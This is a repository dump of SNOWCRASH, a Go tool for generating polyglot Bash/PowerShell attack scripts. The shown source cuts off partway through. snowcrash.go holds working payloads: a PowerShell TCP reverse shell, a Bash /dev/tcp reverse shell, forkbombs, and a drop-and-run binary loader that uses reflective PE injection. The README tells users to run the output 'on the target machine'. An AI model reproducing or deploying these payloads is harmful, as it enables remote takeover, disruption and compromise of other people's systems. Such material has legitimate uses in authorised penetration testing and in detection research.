├── LICENSE
├── README.md
├── flake.lock
├── flake.nix
├── go.mod
├── go.sum
├── install.sh
├── screenshot1.png
├── screenshot2.png
├── snowcrash.go
├── snowcrash.nix
├── snowcrash.png
└── templates
├── pe_inject
└── polyglot_template
/LICENSE:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2020 redcodelabs.io
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 |
SNOWCRASH
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 | A polyglot payload generator
10 |
11 |
12 |  
13 |
14 |
15 | ## Introduction
16 | SNOWCRASH creates a script that can be launched on both Linux and Windows machines. Payload selected by the user (in this case combined Bash and Powershell code) is embedded into a single polyglot template, which is platform-agnostic.
17 |
18 | There are few payloads available, including command execution, reverse shell establishment, binary execution and some more :>
19 |
20 |
21 |
22 | ## Basic usage
23 |
24 | 1) Install dependencies: `./install.sh`
25 |
26 | 2) List available payloads: `./snowcrash --list`
27 |
28 | 3) Generate chosen payload: `./snowcrash --payload memexec --out polyglot_script`
29 |
30 | 4) Change extension of the polyglot script: `mv polyglot_script polyglot_script.ps1`
31 |
32 | 5) Execute polyglot script on the target machine
33 |
34 | ## Additional notes
35 | Delay before script run and payload execution can be specified as an interval (using `--sleep` flag) in the form:
36 |
37 | x[s|m|h]
38 |
39 |
40 | where
41 |
42 | ```
43 | x = Amount of interval to spend in idle state
44 | s = Seconds
45 | m = Sinutes
46 | h = Hours
47 | ```
48 |
49 |
50 | After generation, the extension of generated script containing the payload can be set either to `.sh` or `.ps1` (depending on the platform we want to target).
51 |
52 |
53 |
54 | Generated payload can be written directly to STDOUT (instead of writing to a file) using `--stdout` flag.
55 | ## Screenshots
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 | ## License
69 | This software is under [MIT License](https://en.wikipedia.org/wiki/MIT_License)
--------------------------------------------------------------------------------
/flake.lock:
--------------------------------------------------------------------------------
1 | {
2 | "nodes": {
3 | "flake-utils": {
4 | "inputs": {
5 | "flake-utils": "flake-utils_2"
6 | },
7 | "locked": {
8 | "lastModified": 1619358717,
9 | "narHash": "sha256-FkEOIW82ClvUBtD8aqPediM8FERldsOyjPIyapVa65I=",
10 | "owner": "gytis-ivaskevicius",
11 | "repo": "flake-utils-plus",
12 | "rev": "e7ae270a23695b50fbb6b72759a7fb1e3340ca86",
13 | "type": "github"
14 | },
15 | "original": {
16 | "owner": "gytis-ivaskevicius",
17 | "repo": "flake-utils-plus",
18 | "type": "github"
19 | }
20 | },
21 | "flake-utils_2": {
22 | "locked": {
23 | "lastModified": 1619345332,
24 | "narHash": "sha256-qHnQkEp1uklKTpx3MvKtY6xzgcqXDsz5nLilbbuL+3A=",
25 | "owner": "numtide",
26 | "repo": "flake-utils",
27 | "rev": "2ebf2558e5bf978c7fb8ea927dfaed8fefab2e28",
28 | "type": "github"
29 | },
30 | "original": {
31 | "owner": "numtide",
32 | "repo": "flake-utils",
33 | "type": "github"
34 | }
35 | },
36 | "nixpkgs": {
37 | "locked": {
38 | "lastModified": 1619464443,
39 | "narHash": "sha256-R7WAb8EnkIJxxaF6GTHUPytjonhB4Zm0iatyWoW169A=",
40 | "owner": "NixOS",
41 | "repo": "nixpkgs",
42 | "rev": "8e4fe32876ca15e3d5eb3ecd3ca0b224417f5f17",
43 | "type": "github"
44 | },
45 | "original": {
46 | "owner": "NixOS",
47 | "ref": "nixos-unstable",
48 | "repo": "nixpkgs",
49 | "type": "github"
50 | }
51 | },
52 | "root": {
53 | "inputs": {
54 | "flake-utils": "flake-utils",
55 | "nixpkgs": "nixpkgs"
56 | }
57 | }
58 | },
59 | "root": "root",
60 | "version": 7
61 | }
62 |
--------------------------------------------------------------------------------
/flake.nix:
--------------------------------------------------------------------------------
1 | {
2 | inputs.nixpkgs.url = "github:NixOS/nixpkgs/nixos-unstable";
3 | inputs.flake-utils.url = "github:gytis-ivaskevicius/flake-utils-plus";
4 |
5 | outputs = { self, nixpkgs, flake-utils }:
6 | flake-utils.lib.eachDefaultSystem (system: {
7 | packages.snowcrash =
8 | nixpkgs.legacyPackages.${system}.callPackage ./snowcrash.nix {};
9 |
10 | defaultPackage = self.packages.${system}.snowcrash;
11 | });
12 | }
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 |
23 |
24 |
25 |
26 |
27 |
--------------------------------------------------------------------------------
/go.mod:
--------------------------------------------------------------------------------
1 | module github.com/redcode-labs/SNOWCRASH
2 |
3 | go 1.16
4 |
5 | require (
6 | github.com/akamensky/argparse v1.2.2
7 | github.com/chzyer/logex v1.1.10 // indirect
8 | github.com/chzyer/readline v0.0.0-20180603132655-2972be24d48e
9 | github.com/chzyer/test v0.0.0-20180213035817-a1ea475d72b1 // indirect
10 | github.com/common-nighthawk/go-figure v0.0.0-20200609044655-c4b36f998cf2
11 | github.com/fatih/color v1.10.0
12 | github.com/gobuffalo/packr v1.30.1
13 | github.com/olekukonko/tablewriter v0.0.5
14 | golang.org/x/sys v0.0.0-20220811171246-fbc7d0a398ab // indirect
15 | )
16 |
--------------------------------------------------------------------------------
/go.sum:
--------------------------------------------------------------------------------
1 | github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU=
2 | github.com/akamensky/argparse v1.2.2 h1:P17T0ZjlUNJuWTPPJ2A5dM1wxarHgHqfYH+AZTo2xQA=
3 | github.com/akamensky/argparse v1.2.2/go.mod h1:S5kwC7IuDcEr5VeXtGPRVZ5o/FdhcMlQz4IZQuw64xA=
4 | github.com/armon/consul-api v0.0.0-20180202201655-eb2c6b5be1b6/go.mod h1:grANhF5doyWs3UAsr3K4I6qtAmlQcZDesFNEHPZAzj8=
5 | github.com/chzyer/logex v1.1.10 h1:Swpa1K6QvQznwJRcfTfQJmTE72DqScAa40E+fbHEXEE=
6 | github.com/chzyer/logex v1.1.10/go.mod h1:+Ywpsq7O8HXn0nuIou7OrIPyXbp3wmkHB+jjWRnGsAI=
7 | github.com/chzyer/readline v0.0.0-20180603132655-2972be24d48e h1:fY5BOSpyZCqRo5OhCuC+XN+r/bBCmeuuJtjz+bCNIf8=
8 | github.com/chzyer/readline v0.0.0-20180603132655-2972be24d48e/go.mod h1:nSuG5e5PlCu98SY8svDHJxuZscDgtXS6KTTbou5AhLI=
9 | github.com/chzyer/test v0.0.0-20180213035817-a1ea475d72b1 h1:q763qf9huN11kDQavWsoZXJNW3xEE4JJyHa5Q25/sd8=
10 | github.com/chzyer/test v0.0.0-20180213035817-a1ea475d72b1/go.mod h1:Q3SI9o4m/ZMnBNeIyt5eFwwo7qiLfzFZmjNmxjkiQlU=
11 | github.com/common-nighthawk/go-figure v0.0.0-20200609044655-c4b36f998cf2 h1:tjT4Jp4gxECvsJcYpAMtW2I3YqzBTPuB67OejxXs86s=
12 | github.com/common-nighthawk/go-figure v0.0.0-20200609044655-c4b36f998cf2/go.mod h1:mk5IQ+Y0ZeO87b858TlA645sVcEcbiX6YqP98kt+7+w=
13 | github.com/coreos/etcd v3.3.10+incompatible/go.mod h1:uF7uidLiAD3TWHmW31ZFd/JWoc32PjwdhPthX9715RE=
14 | github.com/coreos/go-etcd v2.0.0+incompatible/go.mod h1:Jez6KQU2B/sWsbdaef3ED8NzMklzPG4d5KIOhIy30Tk=
15 | github.com/coreos/go-semver v0.2.0/go.mod h1:nnelYz7RCh+5ahJtPPxZlU+153eP4D4r3EedlOD2RNk=
16 | github.com/cpuguy83/go-md2man v1.0.10/go.mod h1:SmD6nW6nTyfqj6ABTjUi3V3JVMnlJmwcJI5acqYI6dE=
17 | github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
18 | github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
19 | github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
20 | github.com/fatih/color v1.10.0 h1:s36xzo75JdqLaaWoiEHk767eHiwo0598uUxyfiPkDsg=
21 | github.com/fatih/color v1.10.0/go.mod h1:ELkj/draVOlAH/xkhN6mQ50Qd0MPOk5AAr3maGEBuJM=
22 | github.com/fsnotify/fsnotify v1.4.7/go.mod h1:jwhsz4b93w/PPRr/qN1Yymfu8t87LnFCMoQvtojpjFo=
23 | github.com/gobuffalo/envy v1.7.0 h1:GlXgaiBkmrYMHco6t4j7SacKO4XUjvh5pwXh0f4uxXU=
24 | github.com/gobuffalo/envy v1.7.0/go.mod h1:n7DRkBerg/aorDM8kbduw5dN3oXGswK5liaSCx4T5NI=
25 | github.com/gobuffalo/logger v1.0.0/go.mod h1:2zbswyIUa45I+c+FLXuWl9zSWEiVuthsk8ze5s8JvPs=
26 | github.com/gobuffalo/packd v0.3.0 h1:eMwymTkA1uXsqxS0Tpoop3Lc0u3kTfiMBE6nKtQU4g4=
27 | github.com/gobuffalo/packd v0.3.0/go.mod h1:zC7QkmNkYVGKPw4tHpBQ+ml7W/3tIebgeo1b36chA3Q=
28 | github.com/gobuffalo/packr v1.30.1 h1:hu1fuVR3fXEZR7rXNW3h8rqSML8EVAf6KNm0NKO/wKg=
29 | github.com/gobuffalo/packr v1.30.1/go.mod h1:ljMyFO2EcrnzsHsN99cvbq055Y9OhRrIaviy289eRuk=
30 | github.com/gobuffalo/packr/v2 v2.5.1/go.mod h1:8f9c96ITobJlPzI44jj+4tHnEKNt0xXWSVlXRN9X1Iw=
31 | github.com/hashicorp/hcl v1.0.0/go.mod h1:E5yfLk+7swimpb2L/Alb/PJmXilQ/rhwaUYs4T20WEQ=
32 | github.com/inconshreveable/mousetrap v1.0.0/go.mod h1:PxqpIevigyE2G7u3NXJIT2ANytuPF1OarO4DADm73n8=
33 | github.com/joho/godotenv v1.3.0 h1:Zjp+RcGpHhGlrMbJzXTrZZPrWj+1vfm90La1wgB6Bhc=
34 | github.com/joho/godotenv v1.3.0/go.mod h1:7hK45KPybAkOC6peb+G5yklZfMxEjkZhHbwpqxOKXbg=
35 | github.com/karrick/godirwalk v1.10.12/go.mod h1:RoGL9dQei4vP9ilrpETWE8CLOZ1kiN0LhBygSwrAsHA=
36 | github.com/konsorten/go-windows-terminal-sequences v1.0.1/go.mod h1:T0+1ngSBFLxvqU3pZ+m/2kptfBszLMUkC4ZK/EgS/cQ=
37 | github.com/konsorten/go-windows-terminal-sequences v1.0.2/go.mod h1:T0+1ngSBFLxvqU3pZ+m/2kptfBszLMUkC4ZK/EgS/cQ=
38 | github.com/kr/pretty v0.1.0/go.mod h1:dAy3ld7l9f0ibDNOQOHHMYYIIbhfbHSm3C4ZsoJORNo=
39 | github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ=
40 | github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI=
41 | github.com/magiconair/properties v1.8.0/go.mod h1:PppfXfuXeibc/6YijjN8zIbojt8czPbwD3XqdrwzmxQ=
42 | github.com/mattn/go-colorable v0.1.8 h1:c1ghPdyEDarC70ftn0y+A/Ee++9zz8ljHG1b13eJ0s8=
43 | github.com/mattn/go-colorable v0.1.8/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc=
44 | github.com/mattn/go-isatty v0.0.12 h1:wuysRhFDzyxgEmMf5xjvJ2M9dZoWAXNNr5LSBS7uHXY=
45 | github.com/mattn/go-isatty v0.0.12/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU=
46 | github.com/mattn/go-runewidth v0.0.9 h1:Lm995f3rfxdpd6TSmuVCHVb/QhupuXlYr8sCI/QdE+0=
47 | github.com/mattn/go-runewidth v0.0.9/go.mod h1:H031xJmbD/WCDINGzjvQ9THkh0rPKHF+m2gUSrubnMI=
48 | github.com/mitchellh/go-homedir v1.1.0/go.mod h1:SfyaCUpYCn1Vlf4IUYiD9fPX4A5wJrkLzIz1N1q0pr0=
49 | github.com/mitchellh/mapstructure v1.1.2/go.mod h1:FVVH3fgwuzCH5S8UJGiWEs2h04kUh9fWfEaFds41c1Y=
50 | github.com/olekukonko/tablewriter v0.0.5 h1:P2Ga83D34wi1o9J6Wh1mRuqd4mF/x/lgBS7N7AbDhec=
51 | github.com/olekukonko/tablewriter v0.0.5/go.mod h1:hPp6KlRPjbx+hW8ykQs1w3UBbZlj6HuIJcUGPhkA7kY=
52 | github.com/pelletier/go-toml v1.2.0/go.mod h1:5z9KED0ma1S8pY6P1sdut58dfprrGBbd/94hg7ilaic=
53 | github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
54 | github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
55 | github.com/rogpeppe/go-internal v1.1.0/go.mod h1:M8bDsm7K2OlrFYOpmOWEs/qY81heoFRclV5y23lUDJ4=
56 | github.com/rogpeppe/go-internal v1.3.0 h1:RR9dF3JtopPvtkroDZuVD7qquD0bnHlKSqaQhgwt8yk=
57 | github.com/rogpeppe/go-internal v1.3.0/go.mod h1:M8bDsm7K2OlrFYOpmOWEs/qY81heoFRclV5y23lUDJ4=
58 | github.com/russross/blackfriday v1.5.2/go.mod h1:JO/DiYxRf+HjHt06OyowR9PTA263kcR/rfWxYHBV53g=
59 | github.com/sirupsen/logrus v1.4.2/go.mod h1:tLMulIdttU9McNUspp0xgXVQah82FyeX6MwdIuYE2rE=
60 | github.com/spf13/afero v1.1.2/go.mod h1:j4pytiNVoe2o6bmDsKpLACNPDBIoEAkihy7loJ1B0CQ=
61 | github.com/spf13/cast v1.3.0/go.mod h1:Qx5cxh0v+4UWYiBimWS+eyWzqEqokIECu5etghLkUJE=
62 | github.com/spf13/cobra v0.0.5/go.mod h1:3K3wKZymM7VvHMDS9+Akkh4K60UwM26emMESw8tLCHU=
63 | github.com/spf13/jwalterweatherman v1.0.0/go.mod h1:cQK4TGJAtQXfYWX+Ddv3mKDzgVb68N+wFjFa4jdeBTo=
64 | github.com/spf13/pflag v1.0.3/go.mod h1:DYY7MBk1bdzusC3SYhjObp+wFpr4gzcvqqNjLnInEg4=
65 | github.com/spf13/viper v1.3.2/go.mod h1:ZiWeW+zYFKm7srdB9IoDzzZXaJaI5eL9QjNiN/DMA2s=
66 | github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
67 | github.com/stretchr/objx v0.1.1/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
68 | github.com/stretchr/testify v1.2.2/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs=
69 | github.com/stretchr/testify v1.3.0 h1:TivCn/peBQ7UY8ooIcPgZFpTNSz0Q2U6UrFlUfqbe0Q=
70 | github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI=
71 | github.com/ugorji/go/codec v0.0.0-20181204163529-d75b2dcb6bc8/go.mod h1:VFNgLljTbGfSG7qAOspJ7OScBnGdDN/yBr0sguwnwf0=
72 | github.com/xordataexchange/crypt v0.0.3-0.20170626215501-b2862e3d0a77/go.mod h1:aYKd//L2LvnjZzWKhF00oedf4jCCReLcmhLdhm1A27Q=
73 | golang.org/x/crypto v0.0.0-20181203042331-505ab145d0a9/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4=
74 | golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=
75 | golang.org/x/crypto v0.0.0-20190621222207-cc06ce4a13d4/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
76 | golang.org/x/net v0.0.0-20190311183353-d8887717615a/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
77 | golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
78 | golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
79 | golang.org/x/sys v0.0.0-20181205085412-a5c9d58dba9a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
80 | golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
81 | golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
82 | golang.org/x/sys v0.0.0-20190422165155-953cdadca894/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
83 | golang.org/x/sys v0.0.0-20190515120540-06a5c4944438/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
84 | golang.org/x/sys v0.0.0-20200116001909-b77594299b42/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
85 | golang.org/x/sys v0.0.0-20200223170610-d5e6a3e2c0ae/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
86 | golang.org/x/sys v0.0.0-20220811171246-fbc7d0a398ab h1:2QkjZIsXupsJbJIdSjjUOgWK3aEtzyuh2mPt3l/CkeU=
87 | golang.org/x/sys v0.0.0-20220811171246-fbc7d0a398ab/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
88 | golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
89 | golang.org/x/tools v0.0.0-20190624180213-70d37148ca0c/go.mod h1:/rFqwRUd4F7ZHNgwSSTFct+R/Kf4OFW1sUzUTQQTgfc=
90 | gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
91 | gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
92 | gopkg.in/errgo.v2 v2.1.0/go.mod h1:hNsd1EY+bozCKY1Ytp96fpM3vjJbqLJn88ws8XvfDNI=
93 | gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
94 |
--------------------------------------------------------------------------------
/install.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | go get -u github.com/akamensky/argparse
3 | go get -u github.com/fatih/color
4 | go get -u github.com/olekukonko/tablewriter
5 | go get -u github.com/chzyer/readline
6 | go get -u github.com/common-nighthawk/go-figure
7 | go get -u github.com/gobuffalo/packr
8 | go build snowcrash.go
9 |
--------------------------------------------------------------------------------
/screenshot1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/redcode-labs/SNOWCRASH/HEAD/screenshot1.png
--------------------------------------------------------------------------------
/screenshot2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/redcode-labs/SNOWCRASH/HEAD/screenshot2.png
--------------------------------------------------------------------------------
/snowcrash.go:
--------------------------------------------------------------------------------
1 | package main
2 | import (
3 | "github.com/akamensky/argparse"
4 | "os"
5 | "fmt"
6 | "github.com/fatih/color"
7 | "github.com/olekukonko/tablewriter"
8 | "github.com/chzyer/readline"
9 | "github.com/common-nighthawk/go-figure"
10 | "net"
11 | "io"
12 | "strings"
13 | "encoding/base64"
14 | "strconv"
15 | "bufio"
16 | "reflect"
17 | "math/rand"
18 | "github.com/gobuffalo/packr"
19 | "time"
20 | )
21 |
22 | func print_banner(){
23 | banner := figure.NewFigure("SNOWCRASH", "", true)
24 | color.Set(color.Bold)
25 | banner.Print()
26 | color.Unset()
27 | fmt.Println("")
28 | fmt.Println(cyan("\t -- A polyglot payload generator --"))
29 | fmt.Println("")
30 | }
31 |
32 | func list(){
33 | actions_data := [][]string{
34 | []string{"reverse_shell", "Spawn a reverse shell"},
35 | []string{"cmd_exec", "Execute a command"},
36 | []string{"forkbomb", "Run a forkbomb"},
37 | []string{"memexec", "Embed and execute a binary"},
38 | []string{"download_exec", "Download and execute a file"},
39 | []string{"shutdown", "Shutdown computer"},
40 | []string{"custom", "Use custom Bash and Powershell scripts"},
41 | }
42 | actions_table := tablewriter.NewWriter(os.Stdout)
43 | actions_table.SetAutoWrapText(false)
44 | actions_table.SetHeader([]string{"NAME", "DESCRIPTION"})
45 | actions_table.SetColumnColor(
46 | tablewriter.Colors{tablewriter.FgGreenColor},
47 | tablewriter.Colors{},
48 | )
49 | for v := range actions_data {
50 | actions_table.Append(actions_data[v])
51 | }
52 | fmt.Println("")
53 | fmt.Println("[*] Payloads: ")
54 | actions_table.Render()
55 | fmt.Println("")
56 | }
57 |
58 | var red = color.New(color.FgRed).SprintFunc()
59 | var green = color.New(color.FgGreen).SprintFunc()
60 | var cyan = color.New(color.FgBlue).SprintFunc()
61 | var bold = color.New(color.Bold).SprintFunc()
62 |
63 | func print_good(msg string){
64 | fmt.Printf("%s %s", green("[+]"), msg)
65 | }
66 |
67 | func print_info(msg string){
68 | fmt.Println("[*]", msg)
69 | }
70 |
71 | func print_error(msg string){
72 | fmt.Printf("%s %s", red("[x]"), msg)
73 | }
74 |
75 | func print_header(message string){
76 | color.Set(color.Bold)
77 | fmt.Printf("-- %s --", message)
78 | color.Unset()
79 | fmt.Println("")
80 | }
81 |
82 | func contains(s interface{}, elem interface{}) bool {
83 | arrV := reflect.ValueOf(s)
84 | if arrV.Kind() == reflect.Slice {
85 | for i := 0; i < arrV.Len(); i++ {
86 | if arrV.Index(i).Interface() == elem {
87 | return true
88 | }
89 | }
90 | }
91 | return false
92 | }
93 |
94 | func str_to_int(string_integer string) int {
95 | //i, _ := strconv.ParseInt(string_integer, 10, 32)
96 | i, _ := strconv.Atoi(string_integer)
97 | return i
98 | }
99 |
100 | func interval_to_seconds(interval string) int64{
101 | period_letter := string(interval[len(interval)-1])
102 | intr := string(interval[:len(interval)-1]) //Check this
103 | i, _ := strconv.ParseInt(intr, 10, 64)
104 | switch period_letter{
105 | case "s":
106 | return i
107 | case "m":
108 | return i*60
109 | case "h":
110 | return i*3600
111 | }
112 | return i
113 | }
114 |
115 | func input(name string, message string, default_value string) string{
116 | if default_value == ""{
117 | default_value = "none"
118 | }
119 | final_prompt := fmt.Sprintf("%s %s (default: %s): ", red(name), message, default_value)
120 | p, _ := readline.NewEx(&readline.Config{
121 | Prompt: final_prompt,
122 | InterruptPrompt: "^C",
123 | })
124 | line, _ := p.Readline()
125 | if (len(line) == 0 || contains([]string{"y", "yes"}, line)){
126 | return default_value
127 | } else {
128 | return line
129 | }
130 | }
131 |
132 | func write_to_file(filename string, data string) error {
133 | file, err := os.Create(filename)
134 | exit_on_error("[FILE CREATION ERROR]", err)
135 | defer file.Close()
136 |
137 | _, err = io.WriteString(file, data)
138 | exit_on_error("[FILE WRITE ERROR]", err)
139 | return file.Sync()
140 | }
141 |
142 | func read_file(filename string) string {
143 | contents := ""
144 | file, err := os.Open(filename)
145 | exit_on_error("{FILE READ ERROR}", err)
146 | defer file.Close()
147 | scanner := bufio.NewScanner(file)
148 | for scanner.Scan(){
149 | contents += scanner.Text()
150 | }
151 | return contents
152 | }
153 |
154 | func exit_on_error(message string, err error){
155 | if err != nil{
156 | fmt.Printf("%s %v", red(message+":"), err)
157 | os.Exit(0)
158 | }
159 | }
160 |
161 | func base64_decode(str string) string {
162 | raw, _ := base64.StdEncoding.DecodeString(str)
163 | return fmt.Sprintf("%s", raw)
164 | }
165 |
166 | func base64_encode(str string) string {
167 | return base64.StdEncoding.EncodeToString([]byte(str))
168 | }
169 |
170 | func get_template(template_name string) string{
171 | template, err := packr.NewBox("./").FindString(template_name)
172 | exit_on_error("[PACKR ERROR]", err)
173 | return template
174 | }
175 |
176 | func get_local_ip() string {
177 | conn, _ := net.Dial("udp", "8.8.8.8:80")
178 | defer conn.Close()
179 | ip := conn.LocalAddr().(*net.UDPAddr).IP
180 | return fmt.Sprintf("%d.%d.%d.%d", ip[0], ip[1], ip[2], ip[3])
181 | }
182 |
183 | func random_string(n int) string{
184 | rand.Seed(time.Now().UnixNano())
185 | var letters = []rune("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ")
186 | b := make([]rune, n)
187 | for i := range b {
188 | b[i] = letters[rand.Intn(len(letters))]
189 | }
190 | return string(b)
191 | }
192 |
193 | func generate_payload(payload_name string, sleep_interval string,
194 | out string, stdout bool){
195 | available_payloads := []string{"cmd_exec", "reverse_shell", "custom",
196 | "download_exec", "memexec", "shutdown", "forkbomb"}
197 | if (! contains(available_payloads, payload_name)){
198 | print_error("No such payload: "+payload_name)
199 | os.Exit(0)
200 | }
201 |
202 | polyglot_template := get_template("templates/polyglot_template")
203 | polyglot_template = strings.Replace(polyglot_template, "SLEEP_INTERVAL", fmt.Sprintf("%d", interval_to_seconds(sleep_interval)), -1)
204 |
205 | powershell := ""
206 | bash := ""
207 |
208 | print_header("PAYLOAD CUSTOMIZATION")
209 | switch payload_name{
210 | case "reverse_shell":
211 | powershell = `$client = New-Object System.Net.Sockets.TCPClient("HOST", PORT);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
212 | `
213 | bash = `bash -i >& /dev/tcp/HOST/PORT 0>&1`
214 |
215 | host := input("[RHOST]", "Host to connect to", get_local_ip())
216 | port := input("[RPORT]", "Port to connect to", "4444")
217 | bash = strings.Replace(bash, "HOST", host, -1)
218 | bash = strings.Replace(bash, "PORT", port, -1)
219 | powershell = strings.Replace(powershell, "HOST", host, -1)
220 | powershell = strings.Replace(powershell, "PORT", port, -1)
221 | case "cmd_exec":
222 | powershell = `iex COMMAND`
223 | bash = `COMMAND`
224 |
225 | command := input("[COMMAND]", "Command to execute", "")
226 | bash = strings.Replace(bash, "COMMAND", command, -1)
227 | powershell = strings.Replace(powershell, "COMMAND", command, -1)
228 | case "memexec":
229 | elf_file_name := input("[LINUX BINARY]", "Binary to embed end execute on Linux machine", "")
230 | elf_args := input("[ELF BINARY ARGS]", "Arguments to pass to the Linux binary", "")
231 | exe_file_name := input("[WINDOWS BINARY]", "Binary to embed end execute on Windows machine", "")
232 | exe_args := input("[WINDOWS BINARY ARGS]", "Arguments to pass to the Windows binary", "")
233 | encoded_elf_file := base64_encode(read_file(elf_file_name))
234 | encoded_exe_file := base64_encode(read_file(exe_file_name))
235 | tmp := random_string(4)
236 | bash = fmt.Sprintf(`
237 | echo "%s"|base64 -d| > /tmp/%s; chmod +x /tmp/%s; /tmp/./%s %s
238 | `, encoded_elf_file, tmp, tmp, tmp, elf_args)
239 | powershell = fmt.Sprintf(`
240 | $EncodedFile = "%s"
241 | %s
242 | $DecodedFileByteArray = [System.Convert]::FromBase64String($EncodedFile)
243 | Invoke-ReflectivePEInjection -PEBytes $DecodedFileByteArray -ExeArgs %s
244 | `, encoded_exe_file, get_template("templates/pe_inject"), exe_args)
245 |
246 | case "custom":
247 | powershell_script := input("[POWERSHELL SCRIPT]", "Path to the powershell script", "")
248 | bash_script := input("[BASH SCRIPT]", "Path to the bash script", "")
249 | powershell = read_file(powershell_script)
250 | bash = read_file(bash_script)
251 | case "forkbomb":
252 | powershell = `Do {
253 | start powershell -windowstyle hidden { start-process powershell.exe -WindowStyle hidden
254 | }
255 | }
256 | Until ($x -eq $true)`
257 | bash = `:(){:|: &};:`
258 | print_info("This payload has no options")
259 | case "download_exec":
